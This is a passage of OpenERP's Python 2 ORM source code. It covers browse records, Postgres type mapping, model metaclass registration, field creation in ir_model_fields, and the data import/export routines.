test_modifiers('<field name="a" invisible="1" required="0"/>', '{"invisible": true}') test_modifiers('<field name="a" invisible="0" required="1"/>', '{"required": true}') test_modifiers("""<field name="a" attrs="{'invisible': [('b', '=', 'c')]}"/>""", '{"invisible": [["b", "=", "c"]]}') # The dictionary is supposed to be the result of fields_get(). test_modifiers({}, '{}') test_modifiers({"invisible": True}, '{"invisible": true}') test_modifiers({"invisible": False}, '{}') def check_object_name(name): """ Check if the given name is a valid openerp object name. The _name attribute in osv and osv_memory object is subject to some restrictions. This function returns True or False whether the given name is allowed or not. TODO: this is an approximation. The goal in this approximation is to disallow uppercase characters (in some places, we quote table/column names and in other not, which leads to this kind of errors: psycopg2.ProgrammingError: relation "xxx" does not exist). The same restriction should apply to both osv and osv_memory objects for consistency. """ if regex_object_name.match(name) is None: return False return True def raise_on_invalid_object_name(name): if not check_object_name(name): msg = "The _name attribute %s is not valid." % name _logger.error(msg) raise except_orm('ValueError', msg) POSTGRES_CONFDELTYPES = { 'RESTRICT': 'r', 'NO ACTION': 'a', 'CASCADE': 'c', 'SET NULL': 'n', 'SET DEFAULT': 'd', } def intersect(la, lb): return filter(lambda x: x in lb, la) def fix_import_export_id_paths(fieldname): """ Fixes the id fields in import and exports, and splits field paths on '/'. :param str fieldname: name of the field to import/export :return: split field name :rtype: list of str """ fixed_db_id = re.sub(r'([^/])\.id', r'\1/.id', fieldname) fixed_external_id = re.sub(r'([^/]):id', r'\1/id', fixed_db_id) return fixed_external_id.split('/') class except_orm(Exception): def __init__(self, name, value): self.name = name self.value = value self.args = (name, value) class BrowseRecordError(Exception): pass class browse_null(object): """ Readonly python database object browser """ def __init__(self): self.id = False def __getitem__(self, name): return None def __getattr__(self, name): return None # XXX: return self ? def __int__(self): return False def __str__(self): return '' def __nonzero__(self): return False def __unicode__(self): return u'' # # TODO: execute an object method on browse_record_list # class browse_record_list(list): """ Collection of browse objects Such an instance will be returned when doing a ``browse([ids..])`` and will be iterable, yielding browse() objects """ def __init__(self, lst, context=None): if not context: context = {} super(browse_record_list, self).__init__(lst) self.context = context class browse_record(object): """ An object that behaves like a row of an object's table. It has attributes after the columns of the corresponding object. Examples:: uobj = pool.get('res.users') user_rec = uobj.browse(cr, uid, 104) name = user_rec.name """ def __init__(self, cr, uid, id, table, cache, context=None, list_class=browse_record_list, fields_process=None): """ :param table: the browsed object (inherited from orm) :param dict cache: a dictionary of model->field->data to be shared across browse objects, thus reducing the SQL read()s. It can speed up things a lot, but also be disastrous if not discarded after write()/unlink() operations :param dict context: dictionary with an optional context """ if fields_process is None: fields_process = {} if context is None: context = {} self._list_class = list_class self._cr = cr self._uid = uid self._id = id self._table = table # deprecated, use _model! self._model = table self._table_name = self._table._name self.__logger = logging.getLogger('openerp.osv.orm.browse_record.' + self._table_name) self._context = context self._fields_process = fields_process cache.setdefault(table._name, {}) self._data = cache[table._name] # if not (id and isinstance(id, (int, long,))): # raise BrowseRecordError(_('Wrong ID for the browse record, got %r, expected an integer.') % (id,)) # if not table.exists(cr, uid, id, context): # raise BrowseRecordError(_('Object %s does not exists') % (self,)) if id not in self._data: self._data[id] = {'id': id} self._cache = cache def __getitem__(self, name): if name == 'id': return self._id if name not in self._data[self._id]: # build the list of fields we will fetch # fetch the definition of the field which was asked for if name in self._table._columns: col = self._table._columns[name] elif name in self._table._inherit_fields: col = self._table._inherit_fields[name][2] elif hasattr(self._table, str(name)): attr = getattr(self._table, name) if isinstance(attr, (types.MethodType, types.LambdaType, types.FunctionType)): def function_proxy(*args, **kwargs): if 'context' not in kwargs and self._context: kwargs.update(context=self._context) return attr(self._cr, self._uid, [self._id], *args, **kwargs) return function_proxy else: return attr else: error_msg = "Field '%s' does not exist in object '%s'" % (name, self) self.__logger.warning(error_msg) if self.__logger.isEnabledFor(logging.DEBUG): self.__logger.debug(''.join(traceback.format_stack())) raise KeyError(error_msg) # if the field is a classic one or a many2one, we'll fetch all classic and many2one fields if col._prefetch and not col.groups: # gen the list of "local" (ie not inherited) fields which are classic or many2one field_filter = lambda x: x[1]._classic_write and x[1]._prefetch and not x[1].groups fields_to_fetch = filter(field_filter, self._table._columns.items()) # gen the list of inherited fields inherits = map(lambda x: (x[0], x[1][2]), self._table._inherit_fields.items()) # complete the field list with the inherited fields which are classic or many2one fields_to_fetch += filter(field_filter, inherits) # otherwise we fetch only that field else: fields_to_fetch = [(name, col)] ids = filter(lambda id: name not in self._data[id], self._data.keys()) # read the results field_names = map(lambda x: x[0], fields_to_fetch) try: field_values = self._table.read(self._cr, self._uid, ids, field_names, context=self._context, load="_classic_write") except (openerp.exceptions.AccessError, except_orm): if len(ids) == 1: raise # prefetching attempt failed, perhaps we're violating ACL restrictions involuntarily _logger.info('Prefetching attempt for fields %s on %s failed for ids %s, re-trying just for id %s', field_names, self._model._name, ids, self._id) ids = [self._id] field_values = self._table.read(self._cr, self._uid, ids, field_names, context=self._context, load="_classic_write") # TODO: improve this, very slow for reports if self._fields_process: lang = self._context.get('lang', 'en_US') or 'en_US' lang_obj_ids = self.pool.get('res.lang').search(self._cr, self._uid, [('code', '=', lang)]) if not lang_obj_ids: raise Exception(_('Language with code "%s" is not defined in your system !\nDefine it through the Administration menu.') % (lang,)) lang_obj = self.pool.get('res.lang').browse(self._cr, self._uid, lang_obj_ids[0]) for field_name, field_column in fields_to_fetch: if field_column._type in self._fields_process: for result_line in field_values: result_line[field_name] = self._fields_process[field_column._type](result_line[field_name]) if result_line[field_name]: result_line[field_name].set_value(self._cr, self._uid, result_line[field_name], self, field_column, lang_obj) if not field_values: # Where did those ids come from? Perhaps old entries in ir_model_dat? _logger.warning("No field_values found for ids %s in %s", ids, self) raise KeyError('Field %s not found in %s'%(name, self)) # create browse records for 'remote' objects for result_line in field_values: new_data = {} for field_name, field_column in fields_to_fetch: if field_column._type == 'many2one': if result_line[field_name]: obj = self._table.pool.get(field_column._obj) if isinstance(result_line[field_name], (list, tuple)): value = result_line[field_name][0] else: value = result_line[field_name] if value: # FIXME: this happen when a _inherits object # overwrite a field of it parent. Need # testing to be sure we got the right # object and not the parent one. if not isinstance(value, browse_record): if obj is None: # In some cases the target model is not available yet, so we must ignore it, # which is safe in most cases, this value will just be loaded later when needed. # This situation can be caused by custom fields that connect objects with m2o without # respecting module dependencies, causing relationships to be connected to soon when # the target is not loaded yet. continue new_data[field_name] = browse_record(self._cr, self._uid, value, obj, self._cache, context=self._context, list_class=self._list_class, fields_process=self._fields_process) else: new_data[field_name] = value else: new_data[field_name] = browse_null() else: new_data[field_name] = browse_null() elif field_column._type in ('one2many', 'many2many') and len(result_line[field_name]): new_data[field_name] = self._list_class( (browse_record(self._cr, self._uid, id, self._table.pool.get(field_column._obj), self._cache, context=self._context, list_class=self._list_class, fields_process=self._fields_process) for id in result_line[field_name]), context=self._context) elif field_column._type == 'reference': if result_line[field_name]: if isinstance(result_line[field_name], browse_record): new_data[field_name] = result_line[field_name] else: ref_obj, ref_id = result_line[field_name].split(',') ref_id = long(ref_id) if ref_id: obj = self._table.pool.get(ref_obj) new_data[field_name] = browse_record(self._cr, self._uid, ref_id, obj, self._cache, context=self._context, list_class=self._list_class, fields_process=self._fields_process) else: new_data[field_name] = browse_null() else: new_data[field_name] = browse_null() else: new_data[field_name] = result_line[field_name] self._data[result_line['id']].update(new_data) if not name in self._data[self._id]: # How did this happen? Could be a missing model due to custom fields used too soon, see above. self.__logger.error("Fields to fetch: %s, Field values: %s", field_names, field_values) self.__logger.error("Cached: %s, Table: %s", self._data[self._id], self._table) raise KeyError(_('Unknown attribute %s in %s ') % (name, self)) return self._data[self._id][name] def __getattr__(self, name): try: return self[name] except KeyError, e: raise AttributeError(e) def __contains__(self, name): return (name in self._table._columns) or (name in self._table._inherit_fields) or hasattr(self._table, name) def __iter__(self): raise NotImplementedError("Iteration is not allowed on %s" % self) def __hasattr__(self, name): return name in self def __int__(self): return self._id def __str__(self): return "browse_record(%s, %d)" % (self._table_name, self._id) def __eq__(self, other): if not isinstance(other, browse_record): return False return (self._table_name, self._id) == (other._table_name, other._id) def __ne__(self, other): if not isinstance(other, browse_record): return True return (self._table_name, self._id) != (other._table_name, other._id) # we need to define __unicode__ even though we've already defined __str__ # because we have overridden __getattr__ def __unicode__(self): return unicode(str(self)) def __hash__(self): return hash((self._table_name, self._id)) __repr__ = __str__ def refresh(self): """Force refreshing this browse_record's data and all the data of the records that belong to the same cache, by emptying the cache completely, preserving only the record identifiers (for prefetching optimizations). """ for model, model_cache in self._cache.iteritems(): # only preserve the ids of the records that were in the cache cached_ids = dict([(i, {'id': i}) for i in model_cache.keys()]) self._cache[model].clear() self._cache[model].update(cached_ids) def pg_varchar(size=0): """ Returns the VARCHAR declaration for the provided size: * If no size (or an empty or negative size is provided) return an 'infinite' VARCHAR * Otherwise return a VARCHAR(n) :type int size: varchar size, optional :rtype: str """ if size: if not isinstance(size, int): raise TypeError("VARCHAR parameter should be an int, got %s" % type(size)) if size > 0: return 'VARCHAR(%d)' % size return 'VARCHAR' FIELDS_TO_PGTYPES = { fields.boolean: 'bool', fields.integer: 'int4', fields.text: 'text', fields.html: 'text', fields.date: 'date', fields.datetime: 'timestamp', fields.binary: 'bytea', fields.many2one: 'int4', fields.serialized: 'text', } def get_pg_type(f, type_override=None): """ :param fields._column f: field to get a Postgres type for :param type type_override: use the provided type for dispatching instead of the field's own type :returns: (postgres_identification_type, postgres_type_specification) :rtype: (str, str) """ field_type = type_override or type(f) if field_type in FIELDS_TO_PGTYPES: pg_type = (FIELDS_TO_PGTYPES[field_type], FIELDS_TO_PGTYPES[field_type]) elif issubclass(field_type, fields.float): if f.digits: pg_type = ('numeric', 'NUMERIC') else: pg_type = ('float8', 'DOUBLE PRECISION') elif issubclass(field_type, (fields.char, fields.reference)): pg_type = ('varchar', pg_varchar(f.size)) elif issubclass(field_type, fields.selection): if (isinstance(f.selection, list) and isinstance(f.selection[0][0], int))\ or getattr(f, 'size', None) == -1: pg_type = ('int4', 'INTEGER') else: pg_type = ('varchar', pg_varchar(getattr(f, 'size', None))) elif issubclass(field_type, fields.function): if f._type == 'selection': pg_type = ('varchar', pg_varchar()) else: pg_type = get_pg_type(f, getattr(fields, f._type)) else: _logger.warning('%s type not supported!', field_type) pg_type = None return pg_type class MetaModel(type): """ Metaclass for the Model. This class is used as the metaclass for the Model class to discover the models defined in a module (i.e. without instanciating them). If the automatic discovery is not needed, it is possible to set the model's _register attribute to False. """ module_to_models = {} def __init__(self, name, bases, attrs): if not self._register: self._register = True super(MetaModel, self).__init__(name, bases, attrs) return # The (OpenERP) module name can be in the `openerp.addons` namespace # or not. For instance module `sale` can be imported as # `openerp.addons.sale` (the good way) or `sale` (for backward # compatibility). module_parts = self.__module__.split('.') if len(module_parts) > 2 and module_parts[0] == 'openerp' and \ module_parts[1] == 'addons': module_name = self.__module__.split('.')[2] else: module_name = self.__module__.split('.')[0] if not hasattr(self, '_module'): self._module = module_name # Remember which models to instanciate for this module. if not self._custom: self.module_to_models.setdefault(self._module, []).append(self) # Definition of log access columns, automatically added to models if # self._log_access is True LOG_ACCESS_COLUMNS = { 'create_uid': 'INTEGER REFERENCES res_users ON DELETE SET NULL', 'create_date': 'TIMESTAMP', 'write_uid': 'INTEGER REFERENCES res_users ON DELETE SET NULL', 'write_date': 'TIMESTAMP' } # special columns automatically created by the ORM MAGIC_COLUMNS = ['id'] + LOG_ACCESS_COLUMNS.keys() class BaseModel(object): """ Base class for OpenERP models. OpenERP models are created by inheriting from this class' subclasses: * Model: for regular database-persisted models * TransientModel: for temporary data, stored in the database but automatically vaccuumed every so often * AbstractModel: for abstract super classes meant to be shared by multiple _inheriting classes (usually Models or TransientModels) The system will later instantiate the class once per database (on which the class' module is installed). To create a class that should not be instantiated, the _register class attribute may be set to False. """ __metaclass__ = MetaModel _auto = True # create database backend _register = False # Set to false if the model shouldn't be automatically discovered. _name = None _columns = {} _constraints = [] _custom = False _defaults = {} _rec_name = None _parent_name = 'parent_id' _parent_store = False _parent_order = False _date_name = 'date' _order = 'id' _sequence = None _description = None _needaction = False # dict of {field:method}, with method returning the (name_get of records, {id: fold}) # to include in the _read_group, if grouped on this field _group_by_full = {} # Transience _transient = False # True in a TransientModel # structure: # { 'parent_model': 'm2o_field', ... } _inherits = {} # Mapping from inherits'd field name to triple (m, r, f, n) where m is the # model from which it is inherits'd, r is the (local) field towards m, f # is the _column object itself, and n is the original (i.e. top-most) # parent model. # Example: # { 'field_name': ('parent_model', 'm2o_field_to_reach_parent', # field_column_obj, origina_parent_model), ... } _inherit_fields = {} # Mapping field name/column_info object # This is similar to _inherit_fields but: # 1. includes self fields, # 2. uses column_info instead of a triple. _all_columns = {} _table = None _invalids = set() _log_create = False _sql_constraints = [] _protected = ['read', 'write', 'create', 'default_get', 'perm_read', 'unlink', 'fields_get', 'fields_view_get', 'search', 'name_get', 'distinct_field_get', 'name_search', 'copy', 'import_data', 'search_count', 'exists'] CONCURRENCY_CHECK_FIELD = '__last_update' def log(self, cr, uid, id, message, secondary=False, context=None): return _logger.warning("log() is deprecated. Please use OpenChatter notification system instead of the res.log mechanism.") def view_init(self, cr, uid, fields_list, context=None): """Override this method to do specific things when a view on the object is opened.""" pass def _field_create(self, cr, context=None): """ Create entries in ir_model_fields for all the model's fields. If necessary, also create an entry in ir_model, and if called from the modules loading scheme (by receiving 'module' in the context), also create entries in ir_model_data (for the model and the fields). - create an entry in ir_model (if there is not already one), - create an entry in ir_model_data (if there is not already one, and if 'module' is in the context), - update ir_model_fields with the fields found in _columns (TODO there is some redundancy as _columns is updated from ir_model_fields in __init__). """ if context is None: context = {} cr.execute("SELECT id FROM ir_model WHERE model=%s", (self._name,)) if not cr.rowcount: cr.execute('SELECT nextval(%s)', ('ir_model_id_seq',)) model_id = cr.fetchone()[0] cr.execute("INSERT INTO ir_model (id,model, name, info,state) VALUES (%s, %s, %s, %s, %s)", (model_id, self._name, self._description, self.__doc__, 'base')) else: model_id = cr.fetchone()[0] if 'module' in context: name_id = 'model_'+self._name.replace('.', '_') cr.execute('select * from ir_model_data where name=%s and module=%s', (name_id, context['module'])) if not cr.rowcount: cr.execute("INSERT INTO ir_model_data (name,date_init,date_update,module,model,res_id) VALUES (%s, (now() at time zone 'UTC'), (now() at time zone 'UTC'), %s, %s, %s)", \ (name_id, context['module'], 'ir.model', model_id) ) cr.execute("SELECT * FROM ir_model_fields WHERE model=%s", (self._name,)) cols = {} for rec in cr.dictfetchall(): cols[rec['name']] = rec ir_model_fields_obj = self.pool.get('ir.model.fields') # sparse field should be created at the end, as it depends on its serialized field already existing model_fields = sorted(self._columns.items(), key=lambda x: 1 if x[1]._type == 'sparse' else 0) for (k, f) in model_fields: vals = { 'model_id': model_id, 'model': self._name, 'name': k, 'field_description': f.string, 'ttype': f._type, 'relation': f._obj or '', 'view_load': (f.view_load and 1) or 0, 'select_level': tools.ustr(f.select or 0), 'readonly': (f.readonly and 1) or 0, 'required': (f.required and 1) or 0, 'selectable': (f.selectable and 1) or 0, 'translate': (f.translate and 1) or 0, 'relation_field': f._fields_id if isinstance(f, fields.one2many) else '', 'serialization_field_id': None, } if getattr(f, 'serialization_field', None): # resolve link to serialization_field if specified by name serialization_field_id = ir_model_fields_obj.search(cr, SUPERUSER_ID, [('model','=',vals['model']), ('name', '=', f.serialization_field)]) if not serialization_field_id: raise except_orm(_('Error'), _("Serialization field `%s` not found for sparse field `%s`!") % (f.serialization_field, k)) vals['serialization_field_id'] = serialization_field_id[0] # When its a custom field,it does not contain f.select if context.get('field_state', 'base') == 'manual': if context.get('field_name', '') == k: vals['select_level'] = context.get('select', '0') #setting value to let the problem NOT occur next time elif k in cols: vals['select_level'] = cols[k]['select_level'] if k not in cols: cr.execute('select nextval(%s)', ('ir_model_fields_id_seq',)) id = cr.fetchone()[0] vals['id'] = id cr.execute("""INSERT INTO ir_model_fields ( id, model_id, model, name, field_description, ttype, relation,view_load,state,select_level,relation_field, translate, serialization_field_id ) VALUES ( %s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s )""", ( id, vals['model_id'], vals['model'], vals['name'], vals['field_description'], vals['ttype'], vals['relation'], bool(vals['view_load']), 'base', vals['select_level'], vals['relation_field'], bool(vals['translate']), vals['serialization_field_id'] )) if 'module' in context: name1 = 'field_' + self._table + '_' + k cr.execute("select name from ir_model_data where name=%s", (name1,)) if cr.fetchone(): name1 = name1 + "_" + str(id) cr.execute("INSERT INTO ir_model_data (name,date_init,date_update,module,model,res_id) VALUES (%s, (now() at time zone 'UTC'), (now() at time zone 'UTC'), %s, %s, %s)", \ (name1, context['module'], 'ir.model.fields', id) ) else: for key, val in vals.items(): if cols[k][key] != vals[key]: cr.execute('update ir_model_fields set field_description=%s where model=%s and name=%s', (vals['field_description'], vals['model'], vals['name'])) cr.execute("""UPDATE ir_model_fields SET model_id=%s, field_description=%s, ttype=%s, relation=%s, view_load=%s, select_level=%s, readonly=%s ,required=%s, selectable=%s, relation_field=%s, translate=%s, serialization_field_id=%s WHERE model=%s AND name=%s""", ( vals['model_id'], vals['field_description'], vals['ttype'], vals['relation'], bool(vals['view_load']), vals['select_level'], bool(vals['readonly']), bool(vals['required']), bool(vals['selectable']), vals['relation_field'], bool(vals['translate']), vals['serialization_field_id'], vals['model'], vals['name'] )) break # # Goal: try to apply inheritance at the instanciation level and # put objects in the pool var # @classmethod def create_instance(cls, pool, cr): """ Instanciate a given model. This class method instanciates the class of some model (i.e. a class deriving from osv or osv_memory). The class might be the class passed in argument or, if it inherits from another class, a class constructed by combining the two classes. The ``attributes`` argument specifies which parent class attributes have to be combined. TODO: the creation of the combined class is repeated at each call of this method. This is probably unnecessary. """ attributes = ['_columns', '_defaults', '_inherits', '_constraints', '_sql_constraints'] parent_names = getattr(cls, '_inherit', None) if parent_names: if isinstance(parent_names, (str, unicode)): name = cls._name or parent_names parent_names = [parent_names] else: name = cls._name if not name: raise TypeError('_name is mandatory in case of multiple inheritance') for parent_name in ((type(parent_names)==list) and parent_names or [parent_names]): parent_model = pool.get(parent_name) if not parent_model: raise TypeError('The model "%s" specifies an unexisting parent class "%s"\n' 'You may need to add a dependency on the parent class\' module.' % (name, parent_name)) if not getattr(cls, '_original_module', None) and name == parent_model._name: cls._original_module = parent_model._original_module parent_class = parent_model.__class__ nattr = {} for s in attributes: new = copy.copy(getattr(parent_model, s, {})) if s == '_columns': # Don't _inherit custom fields. for c in new.keys(): if new[c].manual: del new[c] if hasattr(new, 'update'): new.update(cls.__dict__.get(s, {})) elif s=='_constraints': for c in cls.__dict__.get(s, []): exist = False for c2 in range(len(new)): #For _constraints, we should check field and methods as well if new[c2][2]==c[2] and (new[c2][0] == c[0] \ or getattr(new[c2][0],'__name__', True) == \ getattr(c[0],'__name__', False)): # If new class defines a constraint with # same function name, we let it override # the old one. new[c2] = c exist = True break if not exist: new.append(c) else: new.extend(cls.__dict__.get(s, [])) nattr[s] = new # Keep links to non-inherited constraints, e.g. useful when exporting translations nattr['_local_constraints'] = cls.__dict__.get('_constraints', []) nattr['_local_sql_constraints'] = cls.__dict__.get('_sql_constraints', []) cls = type(name, (cls, parent_class), dict(nattr, _register=False)) else: cls._local_constraints = getattr(cls, '_constraints', []) cls._local_sql_constraints = getattr(cls, '_sql_constraints', []) if not getattr(cls, '_original_module', None): cls._original_module = cls._module obj = object.__new__(cls) if hasattr(obj, '_columns'): # float fields are registry-dependent (digit attribute). Duplicate them to avoid issues. for c, f in obj._columns.items(): if f._type == 'float': obj._columns[c] = copy.copy(f) obj.__init__(pool, cr) return obj def __new__(cls): """Register this model. This doesn't create an instance but simply register the model as being part of the module where it is defined. """ # Set the module name (e.g. base, sale, accounting, ...) on the class. module = cls.__module__.split('.')[0] if not hasattr(cls, '_module'): cls._module = module # Record this class in the list of models to instantiate for this module, # managed by the metaclass. module_model_list = MetaModel.module_to_models.setdefault(cls._module, []) if cls not in module_model_list: if not cls._custom: module_model_list.append(cls) # Since we don't return an instance here, the __init__ # method won't be called. return None def __init__(self, pool, cr): """ Initialize a model and make it part of the given registry. - copy the stored fields' functions in the osv_pool, - update the _columns with the fields found in ir_model_fields, - ensure there is a many2one for each _inherits'd parent, - update the children's _columns, - give a chance to each field to initialize itself. """ pool.add(self._name, self) self.pool = pool if not self._name and not hasattr(self, '_inherit'): name = type(self).__name__.split('.')[0] msg = "The class %s has to have a _name attribute" % name _logger.error(msg) raise except_orm('ValueError', msg) if not self._description: self._description = self._name if not self._table: self._table = self._name.replace('.', '_') if not hasattr(self, '_log_access'): # If _log_access is not specified, it is the same value as _auto. self._log_access = getattr(self, "_auto", True) self._columns = self._columns.copy() for store_field in self._columns: f = self._columns[store_field] if hasattr(f, 'digits_change'): f.digits_change(cr) def not_this_field(stored_func): x, y, z, e, f, l = stored_func return x != self._name or y != store_field self.pool._store_function[self._name] = filter(not_this_field, self.pool._store_function.get(self._name, [])) if not isinstance(f, fields.function): continue if not f.store: continue sm = f.store if sm is True: sm = {self._name: (lambda self, cr, uid, ids, c={}: ids, None, 10, None)} for object, aa in sm.items(): if len(aa) == 4: (fnct, fields2, order, length) = aa elif len(aa) == 3: (fnct, fields2, order) = aa length = None else: raise except_orm('Error', ('Invalid function definition %s in object %s !\nYou must use the definition: store={object:(fnct, fields, priority, time length)}.' % (store_field, self._name))) self.pool._store_function.setdefault(object, []) t = (self._name, store_field, fnct, tuple(fields2) if fields2 else None, order, length) if not t in self.pool._store_function[object]: self.pool._store_function[object].append((self._name, store_field, fnct, tuple(fields2) if fields2 else None, order, length)) self.pool._store_function[object].sort(lambda x, y: cmp(x[4], y[4])) for (key, _, msg) in self._sql_constraints: self.pool._sql_error[self._table+'_'+key] = msg # Load manual fields # Check the query is already done for all modules of if we need to # do it ourselves. if self.pool.fields_by_model is not None: manual_fields = self.pool.fields_by_model.get(self._name, []) else: cr.execute('SELECT * FROM ir_model_fields WHERE model=%s AND state=%s', (self._name, 'manual')) manual_fields = cr.dictfetchall() for field in manual_fields: if field['name'] in self._columns: continue attrs = { 'string': field['field_description'], 'required': bool(field['required']), 'readonly': bool(field['readonly']), 'domain': eval(field['domain']) if field['domain'] else None, 'size': field['size'] or None, 'ondelete': field['on_delete'], 'translate': (field['translate']), 'manual': True, #'select': int(field['select_level']) } if field['serialization_field_id']: cr.execute('SELECT name FROM ir_model_fields WHERE id=%s', (field['serialization_field_id'],)) attrs.update({'serialization_field': cr.fetchone()[0], 'type': field['ttype']}) if field['ttype'] in ['many2one', 'one2many', 'many2many']: attrs.update({'relation': field['relation']}) self._columns[field['name']] = fields.sparse(**attrs) elif field['ttype'] == 'selection': self._columns[field['name']] = fields.selection(eval(field['selection']), **attrs) elif field['ttype'] == 'reference': self._columns[field['name']] = fields.reference(selection=eval(field['selection']), **attrs) elif field['ttype'] == 'many2one': self._columns[field['name']] = fields.many2one(field['relation'], **attrs) elif field['ttype'] == 'one2many': self._columns[field['name']] = fields.one2many(field['relation'], field['relation_field'], **attrs) elif field['ttype'] == 'many2many': _rel1 = field['relation'].replace('.', '_') _rel2 = field['model'].replace('.', '_') _rel_name = 'x_%s_%s_%s_rel' % (_rel1, _rel2, field['name']) self._columns[field['name']] = fields.many2many(field['relation'], _rel_name, 'id1', 'id2', **attrs) else: self._columns[field['name']] = getattr(fields, field['ttype'])(**attrs) self._inherits_check() self._inherits_reload() if not self._sequence: self._sequence = self._table + '_id_seq' for k in self._defaults: assert (k in self._columns) or (k in self._inherit_fields), 'Default function defined in %s but field %s does not exist !' % (self._name, k,) for f in self._columns: self._columns[f].restart() # Transience if self.is_transient(): self._transient_check_count = 0 self._transient_max_count = config.get('osv_memory_count_limit') self._transient_max_hours = config.get('osv_memory_age_limit') assert self._log_access, "TransientModels must have log_access turned on, "\ "in order to implement their access rights policy" # Validate rec_name if self._rec_name is not None: assert self._rec_name in self._all_columns.keys() + ['id'], "Invalid rec_name %s for model %s" % (self._rec_name, self._name) else: self._rec_name = 'name' def __export_row(self, cr, uid, row, fields, context=None): if context is None: context = {} def check_type(field_type): if field_type == 'float': return 0.0 elif field_type == 'integer': return 0 elif field_type == 'boolean': return 'False' return '' def selection_field(in_field): col_obj = self.pool.get(in_field.keys()[0]) if f[i] in col_obj._columns.keys(): return col_obj._columns[f[i]] elif f[i] in col_obj._inherits.keys(): selection_field(col_obj._inherits) else: return False def _get_xml_id(self, cr, uid, r): model_data = self.pool.get('ir.model.data') data_ids = model_data.search(cr, uid, [('model', '=', r._model._name), ('res_id', '=', r['id'])]) if len(data_ids): d = model_data.read(cr, uid, data_ids, ['name', 'module'])[0] if d['module']: r = '%s.%s' % (d['module'], d['name']) else: r = d['name'] else: postfix = 0 while True: n = r._model._table+'_'+str(r['id']) + (postfix and ('_'+str(postfix)) or '' ) if not model_data.search(cr, uid, [('name', '=', n)]): break postfix += 1 model_data.create(cr, SUPERUSER_ID, { 'name': n, 'model': r._model._name, 'res_id': r['id'], 'module': '__export__', }) r = '__export__.'+n return r lines = [] data = map(lambda x: '', range(len(fields))) done = [] for fpos in range(len(fields)): f = fields[fpos] if f: r = row i = 0 while i < len(f): cols = False if f[i] == '.id': r = r['id'] elif f[i] == 'id': r = _get_xml_id(self, cr, uid, r) else: r = r[f[i]] # To display external name of selection field when its exported if f[i] in self._columns.keys(): cols = self._columns[f[i]] elif f[i] in self._inherit_fields.keys(): cols = selection_field(self._inherits) if cols and cols._type == 'selection': sel_list = cols.selection if r and type(sel_list) == type([]): r = [x[1] for x in sel_list if r==x[0]] r = r and r[0] or False if not r: if f[i] in self._columns: r = check_type(self._columns[f[i]]._type) elif f[i] in self._inherit_fields: r = check_type(self._inherit_fields[f[i]][2]._type) data[fpos] = r or False break if isinstance(r, (browse_record_list, list)): first = True fields2 = map(lambda x: (x[:i+1]==f[:i+1] and x[i+1:]) \ or [], fields) if fields2 in done: if [x for x in fields2 if x]: break done.append(fields2) if cols and cols._type=='many2many' and len(fields[fpos])>(i+1) and (fields[fpos][i+1]=='id'): data[fpos] = ','.join([_get_xml_id(self, cr, uid, x) for x in r]) break for row2 in r: lines2 = row2._model.__export_row(cr, uid, row2, fields2, context) if first: for fpos2 in range(len(fields)): if lines2 and lines2[0][fpos2]: data[fpos2] = lines2[0][fpos2] if not data[fpos]: dt = '' for rr in r: name_relation = self.pool.get(rr._table_name)._rec_name if isinstance(rr[name_relation], browse_record): rr = rr[name_relation] rr_name = self.pool.get(rr._table_name).name_get(cr, uid, [rr.id], context=context) rr_name = rr_name and rr_name[0] and rr_name[0][1] or '' dt += tools.ustr(rr_name or '') + ',' data[fpos] = dt[:-1] break lines += lines2[1:] first = False else: lines += lines2 break i += 1 if i == len(f): if isinstance(r, browse_record): r = self.pool.get(r._table_name).name_get(cr, uid, [r.id], context=context) r = r and r[0] and r[0][1] or '' data[fpos] = tools.ustr(r or '') return [data] + lines def export_data(self, cr, uid, ids, fields_to_export, context=None): """ Export fields for selected objects :param cr: database cursor :param uid: current user id :param ids: list of ids :param fields_to_export: list of fields :param context: context arguments, like lang, time zone :rtype: dictionary with a *datas* matrix This method is used when exporting data via client menu """ if context is None: context = {} cols = self._columns.copy() for f in self._inherit_fields: cols.update({f: self._inherit_fields[f][2]}) fields_to_export = map(fix_import_export_id_paths, fields_to_export) datas = [] for row in self.browse(cr, uid, ids, context): datas += self.__export_row(cr, uid, row, fields_to_export, context) return {'datas': datas} def import_data(self, cr, uid, fields, datas, mode='init', current_module='', noupdate=False, context=None, filename=None): """ .. deprecated:: 7.0 Use :meth:`~load` instead Import given data in given module This method is used when importing data via client menu. Example of fields to import for a sale.order:: .id, (=database_id) partner_id, (=name_search) order_line/.id, (=database_id) order_line/name, order_line/product_id/id, (=xml id) order_line/price_unit, order_line/product_uom_qty, order_line/product_uom/id (=xml_id) This method returns a 4-tuple with the following structure:: (return_code, errored_resource, error_message, unused) * The first item is a return code, it is ``-1`` in case of import error, or the last imported row number in case of success * The second item contains the record data dict that failed to import in case of error, otherwise it's 0 * The third item contains an error message string in case of error, otherwise it's 0 * The last item is currently unused, with no specific semantics :param fields: list of fields to import :param datas: data to import :param mode: 'init' or 'update' for record creation :param current_module: module name :param noupdate: flag for record creation :param filename: optional file to store partial import state for recovery :returns: 4-tuple in the form (return_code, errored_resource, error_message, unused) :rtype: (int, dict or 0, str or 0, str or 0) """ context = dict(context) if context is not None else {} context['_import_current_module'] = current_module fields = map(fix_import_export_id_paths, fields) ir_model_data_obj = self.pool.get('ir.model.data') def log(m): if m['type'] == 'error': raise Exception(m['message']) if config.get('import_partial') and filename: with open(config.get('import_partial'), 'rb') as partial_import_file: data = pickle.load(partial_import_file) position = data.get(filename, 0) position = 0 try: for res_id, xml_id, res, info in self._convert_records(cr, uid, self._extract_records(cr, uid, fields, datas, context=context, log=log), context=context, log=log): ir_model_data_obj._update(cr, uid, self._name, current_module, res, mode=mode, xml_id=xml_id, noupdate=noupdate, res_id=res_id, context=context) position = info.get('rows', {}).get('to', 0) + 1 if config.get('import_partial') and filename and (not (position%100)): with open(config.get('import_partial'), 'rb') as partial_import: data = pickle.load(partial_import) data[filename] = position with open(config.get('import_partial'), 'wb') as partial_import: pickle.dump(data, partial_import) if context.get('defer_parent_store_computation'): self._parent_store_compute(cr) cr.commit() except Exception, e: cr.rollback() return -1, {}, 'Line %d : %s' % (position + 1, tools.ustr(e)), '' if context.get('defer_parent_store_computation'): self._parent_store_compute(cr) return position, 0, 0, 0 def load(self, cr, uid, fields, data, context=None): """ Attempts to load the data matrix, and returns a list of ids (or ``False`` if there was an error and no id could be generated) and a list of messages. The ids are those of the records created and saved (in database), in the same order they were extracted from the file. They can be passed directly to :meth:`~read` :param fields: list of fields to import, at the same index as the corresponding data :type fields: list(str) :param data: row-major matrix of data to import :type data: list(list(str)) :param dict context: :returns: {ids: 